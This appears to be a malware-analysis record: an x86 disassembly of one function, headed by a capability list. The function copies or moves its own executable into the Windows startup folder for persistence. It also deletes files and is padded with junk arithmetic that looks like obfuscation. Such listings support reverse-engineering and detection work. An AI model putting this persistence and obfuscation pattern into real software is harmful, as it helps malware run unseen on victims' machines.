Function at 0x40e140
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x304
mov eax, dword [0x45f540]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
mov esi, dword [0x45dbe4]
mov eax, 0x56f92285
imul esi
mov eax, dword [0x45dbd0]
sar edx, 0x19
mov ecx, edx
push edi
mov edi, dword [0x45dbcc]
lea ebx, [eax + edi]
imul ebx, ebx, 0x53d3666
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x2927ae2
add ebx, edx
mov eax, 0x830d168d
imul esi
mov eax, dword [0x45dbe0]
add edx, esi
imul eax, eax, 0x539869b
sar edx, 0x19
add ebx, edx
mov esi, edx
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x8345522b
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbc8]
sub esi, eax
mov eax, dword [0x45dbd4]
lea edi, [eax + edx]
add esi, ecx
imul edi, edi, 0x406a069
mov dword [0x45dbdc], esi
mov esi, dword [str._r_____r____]
mov eax, 0x31b1a317
imul esi
imul esi, esi, 0x3e828c7
sar edx, 0x17
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45dbd8]
mov eax, 0x61b9fbc5
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x830d168d
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
add ebx, esi
sub ebx, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbe4], ebx
call fcn.0043073d
add esp, 8
cmp eax, 0xffffffff
je 0x40e720
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043073d
add esp, 8
cmp eax, 0xffffffff
je 0x40e720
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul esi, esi, 0x2927ae2
mov eax, 0x6386b3b9
imul ecx
sar edx, 0x18
add esi, edx
mov edi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x1fc96d8
shr edi, 0x1f
add edi, esi
sub edi, edx
mov eax, 0x4bee9027
imul ecx
sar edx, 0x18
add edi, edx
mov esi, edx
mov eax, 0x187fbc47
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x17
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
mov eax, 0x8345522b
imul ecx
add edx, ecx
sar edx, 0x19
push ebp
mov eax, edx
shr edi, 0x1f
shr eax, 0x1f
push 0x104
lea ecx, [esp + 0x214]
add eax, edx
add edi, esi
push ecx
sub edi, eax
push 0
mov dword [0x45dbc8], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x210]
push 0x5c
push edx
call fcn.004311a0
mov esi, eax
push str..exe
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x20]
push str._s_s
push ecx
inc esi
call fcn.004303a1
mov ecx, dword [0x45dbd8]
mov eax, 0x6386b3b9
imul ecx
imul ecx, ecx, 0x5e30a0c
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbd0]
mov edi, eax
mov eax, 0x31b1a317
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x3409f8e
sub edi, eax
add edi, edx
add edi, ecx
mov ecx, dword [0x45dbdc]
mov eax, 0x56f92285
add esp, 0x18
imul ecx
mov ecx, dword [0x45dbc8]
mov ebp, dword [0x45dbe4]
imul ecx, ecx, 0x3e67c56
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push 0
add edi, ecx
push 0x18
lea edx, [esp + 0x118]
sub edi, ebp
push edx
sub edi, 0x2927ae2
push 0
mov dword [0x45dbd0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e3d0
sub eax, ecx
push esi
lea eax, [esp + eax + 0x114]
push 0x44e274
push eax
call fcn.004303a1
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov eax, 0x7cf2e973
imul edi
sub edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, esi
imul ecx, ecx, 0x2927ae2
mov ebx, eax
sub ebx, ecx
mov ecx, dword [0x45dbc8]
imul ecx, ecx, 0x3e828c7
add ebx, ecx
mov ecx, dword [0x45dbe0]
mov eax, 0x3f96a7f5
imul ecx
imul ecx, ecx, 0x406a069
sar edx, 0x18
add ebx, edx
mov ebp, edx
mov eax, 0x9d6ba841
imul esi
shr ebp, 0x1f
add edx, esi
add ebp, ebx
add ebp, ecx
sar edx, 0x19
add ebp, edx
mov ecx, edx
mov eax, 0x4bee9027
imul esi
sar edx, 0x18
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebp
add eax, edx
sub ecx, eax
add esp, 0xc
mov dword [0x45dbd8], ecx
xor ebx, ebx
jmp 0x40e490
mov ecx, dword [0x45dbd8]
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
lea ecx, [ecx]
mov edx, dword [0x45dbd0]
imul edi, edi, 0x3409f8e
imul ecx, ecx, 0x539869b
mov eax, dword [0x45dbdc]
imul eax, eax, 0x2927ae2
lea ebp, [esi + edx]
mov edx, dword [0x45dbcc]
imul ebp, ebp, 0x293659b
sub ebp, eax
mov eax, 0x31b1a317
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x61b9fbc5
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
sub eax, edi
add eax, ecx
lea ecx, [esp + 0x10]
push 0
push ecx
mov dword [0x45dbe0], eax
call fcn.0043073d
add esp, 8
cmp eax, 0xffffffff
je 0x40e516
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
inc ebx
cmp ebx, 0x64
jl 0x40e47b
mov ecx, dword [0x45dbd0]
mov eax, dword [0x45dbd8]
mov esi, dword [0x45dbe4]
mov edi, dword [0x45dbc8]
lea ebx, [eax + ecx]
imul ecx, ecx, 0x3e828c7
imul ebx, ebx, 0x35f16dd
mov edx, esi
imul edx, edx, 0x2927ae2
sub ebx, edx
mov eax, 0x830d168d
imul edi
add edx, edi
sar edx, 0x19
add ebx, edx
mov ebp, edx
mov eax, 0x3f96a7f5
imul edi
shr ebp, 0x1f
add ebp, ebx
mov ebx, dword [esp + 0x318]
sub ebp, ecx
sar edx, 0x18
add ebp, edx
mov ecx, edx
mov eax, 0x187fbc47
imul dword [str._r_____r____]
sar edx, 0x17
shr ecx, 0x1f
mov eax, edx
shr eax, 0x1f
add ecx, ebp
add eax, edx
sub ecx, eax
test ebx, ebx
mov dword [0x45dbe8], ecx
je 0x40e5a1
cmp ebx, 2
jne 0x40e683
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call edi
test eax, eax
jne 0x40e677
mov ecx, dword [0x45dbcc]
mov esi, dword [0x45dbd4]
mov eax, 0x61b9fbc5
imul ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x830d168d
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
mov ebp, eax
imul edx, edx, 0x3409f8e
mov eax, ecx
imul eax, eax, 0x35f16dd
sub ebp, ebx
add ebp, edx
add ebp, eax
mov eax, 0x56f92285
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x56f92285
imul ecx
sar edx, 0x19
mov ecx, edx
add ebp, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3e67c56
shr ecx, 0x1f
add ecx, ebp
add ecx, edx
push 6
lea eax, [esp + 0x114]
mov dword [str._r_____r____], ecx
push eax
lea ecx, [esp + 0x18]
push ecx
call edi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x300]
xor ecx, esp
call fcn.004301cd
add esp, 0x304
ret
mov esi, dword [0x45dbe4]
mov ecx, dword [0x45dbe8]
mov edi, dword [0x45dbd4]
imul esi, esi, 0x2927ae2
imul ecx, ecx, 0x3409f8e
mov eax, 0x830d168d
imul edi
add edx, edi
sar edx, 0x19
add esi, edx
mov ebp, edx
mov edx, dword [0x45dbcc]
mov eax, 0x3f96a7f5
imul edx
sar edx, 0x18
shr ebp, 0x1f
add ebp, esi
add ebp, edx
mov esi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x35f16dd
shr esi, 0x1f
add esi, ebp
sub esi, ecx
add esi, edx
mov eax, 0x8345522b
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0x293659b
cmp ebx, 1
mov dword [0x45dbcc], eax
je 0x40e704
cmp ebx, 2
jne 0x40e719
push 0
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e65e
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.004301cd
add esp, 0x304
ret